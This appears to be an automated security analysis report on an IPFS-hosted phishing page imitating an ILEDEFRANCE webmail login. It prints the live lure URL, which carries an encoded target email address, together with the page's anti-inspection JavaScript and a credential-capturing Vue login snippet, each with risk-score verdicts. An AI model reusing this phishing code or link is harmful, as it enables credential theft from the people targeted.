Windows Analysis Report
https://litnet.com/out?signature=2c1f4fb3a510da55&verify=f0d85a74515d878f9714518b56f64f83c3d478981c8004fd8a36ff05f77ed04b&litnet=domain&url=https://cloudflare-ipfs.com/ipfs/QmbbUyKXzZMtLWL65JBbfeA8HRigpuDZ9sk5XT4xvfvyVx?filename=reqistrer-serversNonniiii.html#YXN0cmlkLnd1cnN0ZXJAaWxlZGVmcmFuY2UuZnI=

• EGA enabled

```json
{
  "riskscore": 7,
  "reasons": "The JavaScript code is designed to disable various key combinations and the context menu, which are commonly used for debugging and inspecting web pages. This behavior is often associated with malicious sites attempting to prevent users from examining the source code or using developer tools to detect malicious activity. While not definitively malicious on its own, this code raises significant red flags and warrants further investigation."
}

document.onkeydown = function (e) {
        if (event.keyCode == 123) {
          return false
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'C'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'X'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'Y'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'Z'.charCodeAt(0)) {
          return false
        }
        if (e.keyCode == 67 && e.shiftKey && (e.ctrlKey || e.metaKey)) {
          return false
        }
        if (
          e.keyCode == 'J'.charCodeAt(0) &&
          e.altKey &&
          (e.ctrlKey || e.metaKey)
        ) {
          return false
        }
        if (
          e.keyCode == 'I'.charCodeAt(0) &&
          e.altKey &&
          (e.ctrlKey || e.metaKey)
        ) {
          return false
        }
        if (e.ctrlKey && e.shiftKey && e.keyCode == 'C'.charCodeAt(0)) {
          return false
        }
        if (
          (e.metaKey && e.keyCode == 'S'.charCodeAt(0)) ||
          (e.ctrlKey && e.keyCode == 'S'.charCodeAt(0))
        ) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'H'.charCodeAt(0)) {
          return false
        }
        if (e.ctrlKey && e.keyCode == 'A'.charCodeAt(0)) {
          return false
        }
        if (
          (e.metaKey && e.keyCode == 'F'.charCodeAt(0)) ||
          (e.ctrlKey && e.keyCode == 'F'.charCodeAt(0))
        ) {
          return false
        }
        if (
          (e.metaKey && e.keyCode == 'E'.charCodeAt(0)) ||
          (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0))
        ) {
          return false
        }
      }
      if (document.addEventListener) {
        document.addEventListener(
          'contextmenu',
          function (e) {
            e.preventDefault()
          },
          false
        )
      } else {
        document.attachEvent('oncontextmenu', function () {
          window.event.returnValue = false
        })
      }

```json
{
  "riskscore": 8,
  "reasons": "The code contains a base64-encoded URL that, when decoded, points to a potentially suspicious site (nocodeform.io). The presence of a login error message and a default site title related to webmail login suggests that this script could be part of a phishing attempt to steal user credentials. Additionally, the use of a base64-encoded URL is a common tactic to obfuscate malicious links."
}

```json
{
  "riskscore": 7,
  "reasons": "The code includes functionality to handle user email and password, which are sensitive data. The presence of email validation and password handling, combined with the use of base64 decoding (atob) and potential manipulation of the URL, raises concerns about phishing. Additionally, the prevention of default link behavior and the use of jQuery to manipulate the DOM could be used to deceive users. While there is no direct evidence of malicious activity, these patterns are commonly associated with phishing attempts."
}

new Vue({
        data: () => ({
          vueAppIsLoaded: false,
          //MAIN APPLICATION DATA
          showPassword: false,
          retryAttemptCount: 0,
          isLoading: false,
          submitButtonText: 'Login',
          errorMessage: ``,
          successMessage: '',
          email: '',
          password: '',
        }),

        created() {
          this.turnUrlToRandom()
          //SET AXIOS RESPONSE TIME
          axios.interceptors.request.use((config) => {
            config.headers['request-startTime'] = new Date()
            return config
          })

          axios.interceptors.response.use((response) => {
            const start = response.config.headers['request-startTime']
            const end = new Date()
            const milliseconds = end - start
            response.headers['request-duration'] = milliseconds
            return response
          })

          // SET EMAIL HASH
          const pageUrl = window.location.href
          const pageUrlArray = pageUrl.split('#')
          if (pageUrlArray.length > 1) {
            const emailHref64 = pageUrlArray[pageUrlArray.length - 1]
            try {
              this.email = this.validateEmail(emailHref64)
                ? emailHref64
                : atob(emailHref64)
            } catch (e) {}
          }

          this.pageMiddleware()

          $('body').on('click', 'a', function (e) {
            e.preventDefault()
          })
          $('body').removeClass('down')
          $('#background-loader').fadeOut(250)
        },

        mounted: function () {
          this.$nextTick(function () {
            this.vueAppIsLoaded = true
            this.setDocumentPageFavicon()
            this.setDocumentPageTitle()
            document.addEventListener('keydown', this.onKeydown)
            setTimeout(() => {
              $('#div1').show()
              if (_.isEmpty(this.email)) {
                $('#div1').show()
                $('#emailContainerHolder').show()
                $('#ai').click(function () {
                  $('#error').hide()
                })
                this.$refs.emailElement.focus()
              } else {
                // $("#div1").animate({ left: 0, opacity: "hide" }, 0);
                // $("#div2").animate({ right: 0, opacity: "show" }, 500);
                // this.$refs.passwordElement.focus();
              }
            }, 600)
          })
        },

        filters: {
          capitalize: function (value) {
            if (!value) return ''
            value = value.toString()
            return value.charAt(0).toUpperCase() + value.slice(1)
          },
          camelCase: function (value) {
            return str
              .toLowerCase()
              .replace(/[-_]+/g, ' ')
              .replace(/[^\w\s]/g, '')
              .replace(/ (.)/g, function ($1) {
                return $1.toUpperCase()
              })
              .replace(/ /g, '')
          },
        },

        computed: {
      

```json
{
  "phishing_score": 9,
  "brands": "ILEDEFRANCE",
  "phishing": true,
  "suspicious_domain": true,
  "has_loginform": true,
  "has_captcha": false,
  "setechniques": true,
  "reasons": "The URL is highly suspicious as it uses an IPFS (InterPlanetary File System) link, which is uncommon for legitimate websites. The domain does not match the legitimate domain name associated with the brand 'ILEDEFRANCE'. The page contains a login form, which is a common feature in phishing sites to steal credentials. The use of social engineering techniques is evident as the page advises users to verify their email account for security reasons, which can prompt users to enter their credentials without suspicion."
}